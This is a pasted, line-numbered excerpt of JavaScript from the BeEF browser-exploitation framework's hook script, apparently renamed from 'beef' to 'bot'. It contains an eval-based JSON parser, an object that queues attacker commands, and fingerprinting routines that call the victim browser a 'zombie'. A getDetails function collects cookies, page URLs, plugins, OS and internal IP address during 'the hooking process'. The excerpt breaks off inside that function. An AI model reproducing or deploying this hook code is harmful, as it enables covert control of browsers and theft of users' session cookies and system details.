  2136. if (value && typeof value === 'object') {
  2137. for (k in value) {
  2138. if (Object.prototype.hasOwnProperty.call(value, k))
  2139. {
  2140. v = walk(value, k);
  2141. if (v !== undefined) {
  2142. value[k] = v;
  2143. } else {
  2144. delete value[k];
  2145. }
  2146. }
  2147. }
  2148. }
  2149. return reviver.call(holder, key, value);
  2150. }
  2151.  
  2152. // Parsing happens in four stages. In the first stage, we
  2153. replace
  2154. // certain
  2155. // Unicode characters with escape sequences. JavaScript handles
  2156. many
  2157. // characters
  2158. // incorrectly, either silently deleting them, or treating them
  2159. as
  2160. // line endings.
  2161.  
  2162. text = String(text);
  2163. cx.lastIndex = 0;
  2164. if (cx.test(text)) {
  2165. text = text.replace(cx,
  2166. function (a) {
  2167. return '\\u'
  2168. + ('0000' + a.charCodeAt(0).toString(16))
  2169. .slice(-4);
  2170. });
  2171. }
  2172.  
  2173. // In the second stage, we run the text against regular
  2174. expressions
  2175. // that look
  2176. // for non-JSON patterns. We are especially concerned with '()'
  2177. and
  2178. // 'new'
  2179. // because they can cause invocation, and '=' because it can
  2180. cause
  2181. // mutation.
  2182. // But just to be safe, we want to reject all unexpected forms.
  2183.  
  2184. // We split the second stage into 4 regexp operations in order
  2185. to
  2186. // work around
  2187. // crippling inefficiencies in IE's and Safari's regexp engines.
  2188. // First we
  2189. // replace the JSON backslash pairs with '@' (a non-JSON
  2190. character).
  2191. // Second, we
  2192. // replace all simple value tokens with ']' characters. Third,
  2193. we
  2194. // delete all
  2195. // open brackets that follow a colon or comma or that begin the
  2196. // text. Finally,
  2197. // we look to see that the remaining characters are only
  2198. whitespace
  2199. // or ']' or
  2200. // ',' or ':' or '{' or '}'. If that is so, then the text is
  2201. safe
  2202. // for eval.
  2203.  
  2204. if (/^[\],:{}\s]*$/
  2205. .test(text
  2206. .replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
  2207. .replace(
  2208. /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
  2209. ']').replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
  2210.  
  2211. // In the third stage we use the eval function to compile
  2212. the
  2213. // text into a
  2214. // JavaScript structure. The '{' operator is subject to a
  2215. // syntactic ambiguity
  2216. // in JavaScript: it can begin a block or an object
  2217. literal. We
  2218. // wrap the text
  2219. // in parens to eliminate the ambiguity.
  2220.  
  2221. j = eval('(' + text + ')');
  2222.  
  2223. // In the optional fourth stage, we recursively walk the new
  2224. // structure, passing
  2225. // each name/value pair to a reviver function for possible
  2226. // transformation.
  2227.  
  2228. return typeof reviver === 'function' ? walk({
  2229. '': j
  2230. }, '') : j;
  2231. }
  2232.  
  2233. // If the text is not JSON parseable, then a SyntaxError is
  2234. thrown.
  2235.  
  2236. throw new SyntaxError('JSON.parse');
  2237. };
  2238. }
  2239. }());
  2240.  
  2241. $j = jQuery.noConflict();
  2242.  
  2243. // ='';
  2244.  
  2245. if (typeof bot === 'undefined' && typeof window.bot === 'undefined') {
  2246.  
  2247. var BeefJS = {
  2248.  
  2249. version: '0.4.3.2-alpha',
  2250.  
  2251. // This get set to true during window.onload(). It's a useful hack
  2252. when
  2253. // messing with document.write().
  2254. pageIsLoaded: false,
  2255.  
  2256. // An array containing functions to be executed by the
  2257. // window.onpopstate() method.
  2258. onpopstate: new Array(),
  2259.  
  2260. // An array containing functions to be executed by the
  2261. window.onclose()
  2262. // method.
  2263. onclose: new Array(),
  2264.  
  2265. // An array containing functions to be executed by Beef.
  2266. commands: new Array(),
  2267.  
  2268. // An array containing all the BeEF JS components.
  2269. components: new Array(),
  2270.  
  2271. /**
  2272. * Adds a function to execute.
  2273. *
  2274. * @param: {Function} the function to execute.
  2275. */
  2276. execute: function (fn) {
  2277. this.commands.push(fn);
  2278. },
  2279.  
  2280. /**
  2281. * Registers a component in BeEF JS.
  2282. *
  2283. * @params: {String} the component.
  2284. *
  2285. * Components are very important to register so the framework does not
  2286. * send them back over and over again.
  2287. */
  2288. regCmp: function (component) {
  2289. this.components.push(component);
  2290. }
  2291.  
  2292. };
  2293.  
  2294. window.bot = BeefJS;
  2295. }
  2296.  
  2297. bot.browser = {
  2298.  
  2299. getBrowserReportedName: function () {
  2300. return navigator.userAgent;
  2301. },
  2302.  
  2303. isIE6: function () {
  2304. return !window.XMLHttpRequest && !window.globalStorage;
  2305. },
  2306.  
  2307. /**
  2308. * Returns true if IE7.
  2309. * @example: bot.browser.isIE7()
  2310. */
  2311. isIE7: function () {
  2312. return !!window.XMLHttpRequest && !window.chrome && !window.opera
  2313. && !window.getComputedStyle && !window.globalStorage &&
  2314. !document.documentMode;
  2315. },
  2316.  
  2317. /**
  2318. * Returns true if IE8.
  2319. * @example: bot.browser.isIE8()
  2320. */
  2321. isIE8: function () {
  2322. return !!window.XMLHttpRequest && !window.chrome && !window.opera
  2323. && !window.getComputedStyle && !!document.documentMode &&
  2324. !!window.XDomainRequest && !window.performance;
  2325. },
  2326.  
  2327. /**
  2328. * Returns true if IE9.
  2329. * @example: bot.browser.isIE9()
  2330. */
  2331. isIE9: function () {
  2332. return !!window.XMLHttpRequest && !window.chrome && !window.opera
  2333. && !window.getComputedStyle && !!document.documentMode &&
  2334. !!window.XDomainRequest && !!window.performance;
  2335. },
  2336.  
  2337. /**
  2338. * Returns true if IE.
  2339. * @example: bot.browser.isIE()
  2340. */
  2341. isIE: function () {
  2342. return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
  2343. },
  2344.  
  2345. /**
  2346. * Returns true if FF2.
  2347. * @example: bot.browser.isFF2()
  2348. */
  2349. isFF2: function () {
  2350. return !!window.globalStorage && !window.postMessage;
  2351. },
  2352.  
  2353. /**
  2354. * Returns true if FF3.
  2355. * @example: bot.browser.isFF3()
  2356. */
  2357. isFF3: function () {
  2358. return !!window.globalStorage && !!window.postMessage &&
  2359. !JSON.parse;
  2360. },
  2361.  
  2362. /**
  2363. * Returns true if FF3.5.
  2364. * @example: bot.browser.isFF3_5()
  2365. */
  2366. isFF3_5: function () {
  2367. return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  2368. },
  2369.  
  2370. /**
  2371. * Returns true if FF3.6.
  2372. * @example: bot.browser.isFF3_6()
  2373. */
  2374. isFF3_6: function () {
  2375. return !!window.globalStorage && !!window.FileReader &&
  2376. !window.multitouchData && !window.history.replaceState;
  2377. },
  2378.  
  2379. /**
  2380. * Returns true if FF4.
  2381. * @example: bot.browser.isFF4()
  2382. */
  2383. isFF4: function () {
  2384. return !!window.globalStorage && !!window.history.replaceState &&
  2385. window.navigator.userAgent.match(/Firefox\/4\./) != null;
  2386. },
  2387.  
  2388. /**
  2389. * Returns true if FF5.
  2390. * @example: bot.browser.isFF5()
  2391. */
  2392. isFF5: function () {
  2393. return !!window.history.replaceState &&
  2394. window.navigator.userAgent.match(/Firefox\/5\./) != null;
  2395. },
  2396.  
  2397. /**
  2398. * Returns true if FF6.
  2399. * @example: bot.browser.isFF6()
  2400. */
  2401. isFF6: function () {
  2402. return !!window.history.replaceState &&
  2403. window.navigator.userAgent.match(/Firefox\/6\./) != null;
  2404. },
  2405.  
  2406. /**
  2407. * Returns true if FF7.
  2408. * @example: bot.browser.isFF7()
  2409. */
  2410. isFF7: function () {
  2411. return !!window.history.replaceState &&
  2412. window.navigator.userAgent.match(/Firefox\/7\./) != null;
  2413. },
  2414.  
  2415. /**
  2416. * Returns true if FF8.
  2417. * @example: bot.browser.isFF8()
  2418. */
  2419. isFF8: function () {
  2420. return !!window.history.replaceState &&
  2421. window.navigator.userAgent.match(/Firefox\/8\./) != null;
  2422. },
  2423.  
  2424. /**
  2425. * Returns true if FF9.
  2426. * @example: bot.browser.isFF9()
  2427. */
  2428. isFF9: function () {
  2429. return !!window.history.replaceState &&
  2430. window.navigator.userAgent.match(/Firefox\/9\./) != null;
  2431. },
  2432.  
  2433. /**
  2434. * Returns true if FF10.
  2435. * @example: bot.browser.isFF10()
  2436. */
  2437. isFF10: function () {
  2438. return !!window.history.replaceState &&
  2439. window.navigator.userAgent.match(/Firefox\/10\./) != null;
  2440. },
  2441.  
  2442. /**
  2443. * Returns true if FF11.
  2444. * @example: bot.browser.isFF11()
  2445. */
  2446. isFF11: function () {
  2447. return !!window.history.replaceState &&
  2448. window.navigator.userAgent.match(/Firefox\/11\./) != null;
  2449. },
  2450.  
  2451. /**
  2452. * Returns true if FF12
  2453. * @example: bot.browser.isFF12()
  2454. */
  2455. isFF12: function () {
  2456. return !!window.history.replaceState &&
  2457. window.navigator.userAgent.match(/Firefox\/12\./) != null;
  2458. },
  2459.  
  2460. /**
  2461. * Returns true if FF.
  2462. * @example: bot.browser.isFF()
  2463. */
  2464. isFF: function () {
  2465. return this.isFF2() || this.isFF3() || this.isFF3_5() ||
  2466. this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() ||
  2467. this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() ||
  2468. this.isFF11() || this.isFF12();
  2469. },
  2470.  
  2471. /**
  2472. * Returns true if Safari 4.xx
  2473. * @example: bot.browser.isS4()
  2474. */
  2475. isS4: function () {
  2476. return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null
  2477. && window.navigator.userAgent.match(/Safari\/\d/) != null &&
  2478. !window.globalStorage && !!window.getComputedStyle && !window.opera &&
  2479. !window.chrome);
  2480. },
  2481.  
  2482. /**
  2483. * Returns true if Safari 5.xx
  2484. * @example: bot.browser.isS5()
  2485. */
  2486. isS5: function () {
  2487. return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null
  2488. && window.navigator.userAgent.match(/Safari\/\d/) != null &&
  2489. !window.globalStorage && !!window.getComputedStyle && !window.opera &&
  2490. !window.chrome);
  2491. },
  2492.  
  2493. /**
  2494. * Returns true if Safari.
  2495. * @example: bot.browser.isS()
  2496. */
  2497. isS: function () {
  2498. return this.isS4() || this.isS5() || (!window.globalStorage &&
  2499. !!window.getComputedStyle && !window.opera && !window.chrome);
  2500. },
  2501.  
  2502. /**
  2503. * Returns true if Chrome 5.
  2504. * @example: bot.browser.isC5()
  2505. */
  2506. isC5: function () {
  2507. return (!!window.chrome && !window.webkitPerformance) &&
  2508. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2509. 5) ? true : false);
  2510. },
  2511.  
  2512. /**
  2513. * Returns true if Chrome 6.
  2514. * @example: bot.browser.isC6()
  2515. */
  2516. isC6: function () {
  2517. return (!!window.chrome && !!window.webkitPerformance) &&
  2518. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2519. 6) ? true : false);
  2520. },
  2521.  
  2522. /**
  2523. * Returns true if Chrome 7.
  2524. * @example: bot.browser.isC7()
  2525. */
  2526. isC7: function () {
  2527. return (!!window.chrome && !!window.webkitPerformance) &&
  2528. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2529. 7) ? true : false);
  2530. },
  2531.  
  2532. /**
  2533. * Returns true if Chrome 8.
  2534. * @example: bot.browser.isC8()
  2535. */
  2536. isC8: function () {
  2537. return (!!window.chrome && !!window.webkitPerformance) &&
  2538. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2539. 8) ? true : false);
  2540. },
  2541.  
  2542. /**
  2543. * Returns true if Chrome 9.
  2544. * @example: bot.browser.isC9()
  2545. */
  2546. isC9: function () {
  2547. return (!!window.chrome && !!window.webkitPerformance) &&
  2548. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2549. 9) ? true : false);
  2550. },
  2551.  
  2552. /**
  2553. * Returns true if Chrome 10.
  2554. * @example: bot.browser.isC10()
  2555. */
  2556. isC10: function () {
  2557. return (!!window.chrome && !window.webkitPerformance) &&
  2558. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2559. 10) ? true : false);
  2560. },
  2561.  
  2562. /**
  2563. * Returns true if Chrome 11.
  2564. * @example: bot.browser.isC11()
  2565. */
  2566. isC11: function () {
  2567. return (!!window.chrome && !window.webkitPerformance) &&
  2568. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2569. 11) ? true : false);
  2570. },
  2571.  
  2572. /**
  2573. * Returns true if Chrome 12.
  2574. * @example: bot.browser.isC12()
  2575. */
  2576. isC12: function () {
  2577. return (!!window.chrome && !window.webkitPerformance) &&
  2578. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2579. 12) ? true : false);
  2580. },
  2581.  
  2582. /**
  2583. * Returns true if Chrome 13.
  2584. * @example: bot.browser.isC13()
  2585. */
  2586. isC13: function () {
  2587. return (!!window.chrome && !window.webkitPerformance) &&
  2588. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2589. 13) ? true : false);
  2590. },
  2591.  
  2592. /**
  2593. * Returns true if Chrome 14.
  2594. * @example: bot.browser.isC14()
  2595. */
  2596. isC14: function () {
  2597. return (!!window.chrome && !window.webkitPerformance) &&
  2598. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2599. 14) ? true : false);
  2600. },
  2601.  
  2602. /**
  2603. * Returns true if Chrome 15.
  2604. * @example: bot.browser.isC15()
  2605. */
  2606. isC15: function () {
  2607. return (!!window.chrome && !window.webkitPerformance) &&
  2608. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2609. 15) ? true : false);
  2610. },
  2611.  
  2612. /**
  2613. * Returns true if Chrome 16.
  2614. * @example: bot.browser.isC16()
  2615. */
  2616. isC16: function () {
  2617. return (!!window.chrome && !window.webkitPerformance) &&
  2618. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2619. 16) ? true : false);
  2620. },
  2621.  
  2622. /**
  2623. * Returns true if Chrome 17.
  2624. * @example: bot.browser.isC17()
  2625. */
  2626. isC17: function () {
  2627. return (!!window.chrome && !window.webkitPerformance) &&
  2628. ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) ==
  2629. 17) ? true : false);
  2630. },
  2631.  
  2632. /**
  2633. * Returns true if Chrome.
  2634. * @example: bot.browser.isC()
  2635. */
  2636. isC: function () {
  2637. return this.isC5() || this.isC6() || this.isC7() || this.isC8() ||
  2638. this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13()
  2639. || this.isC14() || this.isC15() || this.isC16() || this.isC17();
  2640. },
  2641.  
  2642. /**
  2643. * Returns true if Opera 9.50 through 9.52.
  2644. * @example: bot.browser.isO9_52()
  2645. */
  2646. isO9_52: function () {
  2647. return (!!window.opera &&
  2648. (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  2649. },
  2650.  
  2651. /**
  2652. * Returns true if Opera 9.60 through 9.64.
  2653. * @example: bot.browser.isO9_60()
  2654. */
  2655. isO9_60: function () {
  2656. return (!!window.opera &&
  2657. (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  2658. },
  2659.  
  2660. /**
  2661. * Returns true if Opera 10.xx.
  2662. * @example: bot.browser.isO10()
  2663. */
  2664. isO10: function () {
  2665. return (!!window.opera &&
  2666. (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  2667. },
  2668.  
  2669. /**
  2670. * Returns true if Opera 11.xx.
  2671. * @example: bot.browser.isO11()
  2672. */
  2673. isO11: function () {
  2674. return (!!window.opera &&
  2675. (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  2676. },
  2677.  
  2678. /**
  2679. * Returns true if Opera.
  2680. * @example: bot.browser.isO()
  2681. */
  2682. isO: function () {
  2683. return this.isO9_52() || this.isO9_60() || this.isO10() ||
  2684. this.isO11();
  2685. },
  2686.  
  2687. /**
  2688. * Returns the type of browser being used.
  2689. * @example: bot.browser.type().IE6
  2690. * @example: bot.browser.type().FF
  2691. * @example: bot.browser.type().O
  2692. */
  2693. type: function () {
  2694.  
  2695. return {
  2696. C5: this.isC5(), // Chrome 5
  2697. C6: this.isC6(), // Chrome 6
  2698. C7: this.isC7(), // Chrome 7
  2699. C8: this.isC8(), // Chrome 8
  2700. C9: this.isC9(), // Chrome 9
  2701. C10: this.isC10(), // Chrome 10
  2702. C11: this.isC11(), // Chrome 11
  2703. C12: this.isC12(), // Chrome 12
  2704. C13: this.isC13(), // Chrome 13
  2705. C14: this.isC14(), // Chrome 14
  2706. C15: this.isC15(), // Chrome 15
  2707. C16: this.isC16(), // Chrome 16
  2708. C17: this.isC17(), // Chrome 16
  2709. C: this.isC(), // Chrome any version
  2710.  
  2711. FF2: this.isFF2(), // Firefox 2
  2712. FF3: this.isFF3(), // Firefox 3
  2713. FF3_5: this.isFF3_5(), // Firefox 3.5
  2714. FF3_6: this.isFF3_6(), // Firefox 3.6
  2715. FF4: this.isFF4(), // Firefox 4
  2716. FF5: this.isFF5(), // Firefox 5
  2717. FF6: this.isFF6(), // Firefox 6
  2718. FF7: this.isFF7(), // Firefox 7
  2719. FF8: this.isFF8(), // Firefox 8
  2720. FF9: this.isFF9(), // Firefox 9
  2721. FF10: this.isFF10(), // Firefox 10
  2722. FF11: this.isFF11(), // Firefox 11
  2723. FF12: this.isFF12(), // Firefox 12
  2724. FF: this.isFF(), // Firefox any version
  2725.  
  2726. IE6: this.isIE6(), // Internet Explorer 6
  2727. IE7: this.isIE7(), // Internet Explorer 7
  2728. IE8: this.isIE8(), // Internet Explorer 8
  2729. IE9: this.isIE9(), // Internet Explorer 9
  2730. IE: this.isIE(), // Internet Explorer any version
  2731.  
  2732. O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  2733. O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  2734. O10: this.isO10(), // Opera 10.xx
  2735. O11: this.isO11(), // Opera 11.xx
  2736. O: this.isO(), // Opera any version
  2737.  
  2738. S4: this.isS4(), // Safari 4.xx
  2739. S5: this.isS5(), // Safari 5.xx
  2740. S: this.isS() // Safari any version
  2741. }
  2742. },
  2743.  
  2744. /**
  2745. * Returns the type of browser being used.
  2746. * @return: {String} User agent software and version.
  2747. *
  2748. * @example: bot.browser.getBrowserVersion()
  2749. */
  2750. getBrowserVersion: function () {
  2751.  
  2752. if (this.isC5()) { return '5' }; // Chrome 5
  2753. if (this.isC6()) { return '6' }; // Chrome 6
  2754. if (this.isC7()) { return '7' }; // Chrome 7
  2755. if (this.isC8()) { return '8' }; // Chrome 8
  2756. if (this.isC9()) { return '9' }; // Chrome 9
  2757. if (this.isC10()) { return '10' }; // Chrome 10
  2758. if (this.isC11()) { return '11' }; // Chrome 11
  2759. if (this.isC12()) { return '12' }; // Chrome 12
  2760. if (this.isC13()) { return '13' }; // Chrome 13
  2761. if (this.isC14()) { return '14' }; // Chrome 14
  2762. if (this.isC15()) { return '15' }; // Chrome 15
  2763. if (this.isC16()) { return '16' }; // Chrome 16
  2764. if (this.isC17()) { return '17' }; // Chrome 17
  2765.  
  2766.  
  2767. if (this.isFF2()) { return '2' }; // Firefox 2
  2768. if (this.isFF3()) { return '3' }; // Firefox 3
  2769. if (this.isFF3_5()) { return '3.5' }; // Firefox 3.5
  2770. if (this.isFF3_6()) { return '3.6' }; // Firefox 3.6
  2771. if (this.isFF4()) { return '4' }; // Firefox 4
  2772. if (this.isFF5()) { return '5' }; // Firefox 5
  2773. if (this.isFF6()) { return '6' }; // Firefox 6
  2774. if (this.isFF7()) { return '7' }; // Firefox 7
  2775. if (this.isFF8()) { return '8' }; // Firefox 8
  2776. if (this.isFF9()) { return '9' }; // Firefox 9
  2777. if (this.isFF10()) { return '10' }; // Firefox 10
  2778. if (this.isFF11()) { return '11' }; // Firefox 11
  2779. if (this.isFF12()) { return '12' }; // Firefox 12
  2780.  
  2781. if (this.isIE6()) { return '6' }; // Internet Explorer 6
  2782. if (this.isIE7()) { return '7' }; // Internet Explorer 7
  2783. if (this.isIE8()) { return '8' }; // Internet Explorer 8
  2784. if (this.isIE9()) { return '9' }; // Internet Explorer 9
  2785.  
  2786. if (this.isS4()) { return '4' }; // Safari 4
  2787. if (this.isS5()) { return '5' }; // Safari 5
  2788.  
  2789. if (this.isO9_52()) { return '9.5' }; // Opera 9.5x
  2790. if (this.isO9_60()) { return '9.6' }; // Opera 9.6
  2791. if (this.isO10()) { return '10' }; // Opera 10.xx
  2792. if (this.isO11()) { return '11' }; // Opera 11.xx
  2793.  
  2794. return 'UNKNOWN'; // Unknown UA
  2795. },
  2796.  
  2797. /**
  2798. * Returns the type of user agent by hooked browser.
  2799. * @return: {String} User agent software.
  2800. *
  2801. * @example: bot.browser.getBrowserName()
  2802. */
  2803. getBrowserName: function () {
  2804.  
  2805. if (this.isC()) { return 'Google Chrome' }; // Chrome any version
  2806. if (this.isFF()) { return 'Mozilla Firefox' }; // Firefox any
  2807. version
  2808. if (this.isIE()) { return 'Internet Explorer' }; // Internet
  2809. Explorer any version
  2810. if (this.isO()) { return 'Opera Browser' }; // Opera any version
  2811. if (this.isS()) { return 'Safari Browser' }; // Safari any version
  2812. return 'Google Chrome'; // Unknown UA
  2813. },
  2814.  
  2815. /**
  2816. * Checks if the zombie has flash installed and enabled.
  2817. *
  2818. * @return: {Boolean} true or false.
  2819. *
  2820. * @example: if(bot.browser.hasFlash()) { ... }
  2821. */
  2822. hasFlash: function () {
  2823. if (!this.type().IE) {
  2824. return (navigator.mimeTypes &&
  2825. navigator.mimeTypes["application/x-shockwave-flash"]);
  2826. } else {
  2827. flash_versions = 11;
  2828. flash_installed = false;
  2829.  
  2830. if (window.ActiveXObject) {
  2831. for (x = 2; x <= flash_versions; x++) {
  2832. try {
  2833. Flash = eval("new
  2834. ActiveXObject('ShockwaveFlash.ShockwaveFlash."
  2835. + x + "');");
  2836. if (Flash) {
  2837. flash_installed = true;
  2838. }
  2839. } catch (e) {
  2840. }
  2841. }
  2842. }
  2843. ;
  2844. return flash_installed;
  2845. }
  2846. },
  2847.  
  2848. /**
  2849. * Checks if the zombie has Java installed and enabled.
  2850. *
  2851. * @return: {Boolean} true or false.
  2852. *
  2853. * @example: if(bot.browser.hasJava()) { ... }
  2854. */
  2855. hasJava: function () {
  2856. if (!this.type().IE && window.navigator.javaEnabled
  2857. && window.navigator.javaEnabled()) {
  2858. return true;
  2859. }
  2860. return false;
  2861. },
  2862.  
  2863. /**
  2864. * Checks if the zombie has VBScript enabled.
  2865. *
  2866. * @return: {Boolean} true or false.
  2867. *
  2868. * @example: if(bot.browser.hasVBScript()) { ... }
  2869. */
  2870. hasVBScript: function () {
  2871. if ((navigator.userAgent.indexOf('MSIE') != -1)
  2872. && (navigator.userAgent.indexOf('Win') != -1)) {
  2873. return true;
  2874. } else {
  2875. return false;
  2876. }
  2877. },
  2878.  
  2879. /**
  2880. * Returns the list of plugins installed in the browser.
  2881. */
  2882. getPlugins: function () {
  2883. var results = '';
  2884. if (this.isIE()) {
  2885. results = this.getPluginsIE();
  2886. } else {
  2887. if (navigator.plugins && navigator.plugins.length > 0) {
  2888. var length = navigator.plugins.length;
  2889. for (var i = 0; i < length; i++) {
  2890. if (i != 0)
  2891. results += '\n';
  2892. if (bot.browser.isFF()) { // FF returns exact plugin
  2893. // versions
  2894. results += navigator.plugins[i].name + '-v.'
  2895. + navigator.plugins[i].version;
  2896. } else { // Webkit and Presto (Opera) doesn't support
  2897. the
  2898. // version attribute, and
  2899. // sometimes they store plugin version in
  2900. description
  2901. // (Real, Adobe)
  2902. results += navigator.plugins[i].name;// + '-desc.' +
  2903. // navigator.plugins[i].description;
  2904. }
  2905. }
  2906. } else {
  2907. results = 'navigator.plugins is not supported in this
  2908. browser!';
  2909. }
  2910. }
  2911. return results;
  2912. },
  2913.  
  2914. /**
  2915. * Returns a list of plugins detected by IE. This is a hack because IE
  2916. * doesn't support navigator.plugins
  2917. */
  2918. getPluginsIE: function () {
  2919. var results = '';
  2920. var plugins = {
  2921. 'AdobePDF6': {
  2922. 'control': 'PDF.PdfCtrl',
  2923. 'return': function (control) {
  2924. version = control.getVersions().split(',');
  2925. version = version[0].split('=');
  2926. return 'Acrobat Reader v' + parseFloat(version[1]);
  2927. }
  2928. },
  2929. 'AdobePDF7': {
  2930. 'control': 'AcroPDF.PDF',
  2931. 'return': function (control) {
  2932. version = control.getVersions().split(',');
  2933. version = version[0].split('=');
  2934. return 'Acrobat Reader v' + parseFloat(version[1]);
  2935. }
  2936. },
  2937. 'Flash': {
  2938. 'control': 'ShockwaveFlash.ShockwaveFlash',
  2939. 'return': function (control) {
  2940. version = control.getVariable('$version').substring(4);
  2941. return 'Flash Player v' + version.replace(/,/g, ".");
  2942. }
  2943. },
  2944. 'Quicktime': {
  2945. 'control': 'QuickTime.QuickTime',
  2946. 'return': function (control) {
  2947. return 'QuickTime Player';
  2948. }
  2949. },
  2950. 'RealPlayer': {
  2951. 'control': 'RealPlayer',
  2952. 'return': function (control) {
  2953. version = control.getVersionInfo();
  2954. return 'RealPlayer v' + parseFloat(version);
  2955. }
  2956. },
  2957. 'Shockwave': {
  2958. 'control': 'SWCtl.SWCtl',
  2959. 'return': function (control) {
  2960. version = control.ShockwaveVersion('').split('r');
  2961. return 'Shockwave v' + parseFloat(version[0]);
  2962. }
  2963. },
  2964. 'WindowsMediaPlayer': {
  2965. 'control': 'WMPlayer.OCX',
  2966. 'return': function (control) {
  2967. return 'Windows Media Player v'
  2968. + parseFloat(control.versionInfo);
  2969. }
  2970. }
  2971. };
  2972. if (window.ActiveXObject) {
  2973. var j = 0;
  2974. for (var i in plugins) {
  2975. var control = null;
  2976. var version = null;
  2977. try {
  2978. control = new ActiveXObject(plugins[i]['control']);
  2979. } catch (e) {
  2980. }
  2981. if (control) {
  2982. if (j != 0)
  2983. results += ', ';
  2984. results += plugins[i]['return'](control);
  2985. j++;
  2986. }
  2987. }
  2988. }
  2989. return results;
  2990. },
  2991.  
  2992. /**
  2993. * Returns zombie screen size and color depth.
  2994. */
  2995. getScreenParams: function () {
  2996. return {
  2997. width: window.screen.width,
  2998. height: window.screen.height,
  2999. colordepth: window.screen.colorDepth
  3000. }
  3001. },
  3002.  
  3003. /**
  3004. * Returns zombie browser window size.
  3005. *
  3006. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  3007. */
  3008. getWindowSize: function () {
  3009. var myWidth = 0, myHeight = 0;
  3010. if (typeof (window.innerWidth) == 'number') {
  3011. // Non-IE
  3012. myWidth = window.innerWidth;
  3013. myHeight = window.innerHeight;
  3014. } else if (document.documentElement
  3015. && (document.documentElement.clientWidth ||
  3016. document.documentElement.clientHeight)) {
  3017. // IE 6+ in 'standards compliant mode'
  3018. myWidth = document.documentElement.clientWidth;
  3019. myHeight = document.documentElement.clientHeight;
  3020. } else if (document.body
  3021. && (document.body.clientWidth || document.body.clientHeight)) {
  3022. // IE 4 compatible
  3023. myWidth = document.body.clientWidth;
  3024. myHeight = document.body.clientHeight;
  3025. }
  3026. return {
  3027. width: myWidth,
  3028. height: myHeight
  3029. }
  3030. },
  3031.  
  3032. /**
  3033. * Construct hash from browser details. This function is used to grab the
  3034. * browser details during the hooking process
  3035. */
  3036. getDetails: function () {
  3037. var details = new Array();
  3038.  
  3039. var browser_name = bot.browser.getBrowserName();
  3040. var browser_version = bot.browser.getBrowserVersion();
  3041. var browser_reported_name = bot.browser.getBrowserReportedName();
  3042. var cookies = document.cookie;
  3043. var page_title = (document.title) ? document.title : "No Title";
  3044. var page_uri = document.location.href;
  3045. var page_referrer = (document.referrer) ? document.referrer
  3046. : "No Referrer";
  3047. var hostname = document.location.hostname;
  3048. var hostport = (document.location.port) ? document.location.port :
  3049. "80";
  3050. var browser_plugins = bot.browser.getPlugins();
  3051. var os_name = bot.os.getName();
  3052. var system_platform = (typeof (navigator.platform) != "undefined"
  3053. && navigator.platform != "") ? navigator.platform
  3054. : null;
  3055. var internal_ip = bot.net.local.getLocalAddress();
  3056. var internal_hostname = bot.net.local.getLocalHostname();
  3057. var browser_type = JSON.stringify(bot.browser.type(), function (key,
  3058. value) {
  3059. if (value == true)
  3060. return value;
  3061. else if (typeof value == 'object')
  3062. return value;
  3063. else
  3064. return;
  3065. });
  3066. var screen_params = bot.browser.getScreenParams();
  3067. var window_size = bot.browser.getWindowSize();
  3068. var java_enabled = (bot.browser.hasJava()) ? "Yes" : "No";
  3069. var vbscript_enabled = (bot.browser.hasVBScript()) ? "Yes" : "No";
  3070. var has_flash = (bot.browser.hasFlash()) ? "Yes" : "No";
  3071. var has_googlegears = (bot.browser.hasGoogleGears()) ? "Yes" : "No";
  3072. var has_web_socket = (bot.browser.hasWebSocket()) ? "Yes" : "No";
  3073. var has_activex = (typeof (window.ActiveXObject) != "undefined") ?
  3074. "Yes"
  3075. : "No";
  3076. var has_session_cookies = (bot.browser.cookie
  3077. .hasSessionCookies("cookie")) ? "Yes" : "No";
  3078. var has_persistent_cookies = (bot.browser.cookie
  3079. .hasPersistentCookies("cookie")) ? "Yes" : "No";
  3080.  
  3081. if (browser_name)
  3082. details["BrowserName"] = browser_name;
  3083. if (browser_version)
  3084. details["BrowserVersion"] = browser_version;
  3085. if (browser_reported_name)
  3086. details["BrowserReportedName"] = browser_reported_name;
  3087. if (cookies)
  3088. details["Cookies"] = cookies;
  3089. if (page_title)
  3090. details["PageTitle"] = page_title;
  3091. if (page_uri)
  3092. details["PageURI"] = page_uri;
  3093. if (page_referrer)
  3094. details["PageReferrer"] = page_referrer;
  3095. if (hostname)
  3096. details["HostName"] = hostname;
  3097. if (hostport)
  3098. details["HostPort"] = hostport;
  3099. if (browser_plugins)
  3100. details["BrowserPlugins"] = browser_plugins;
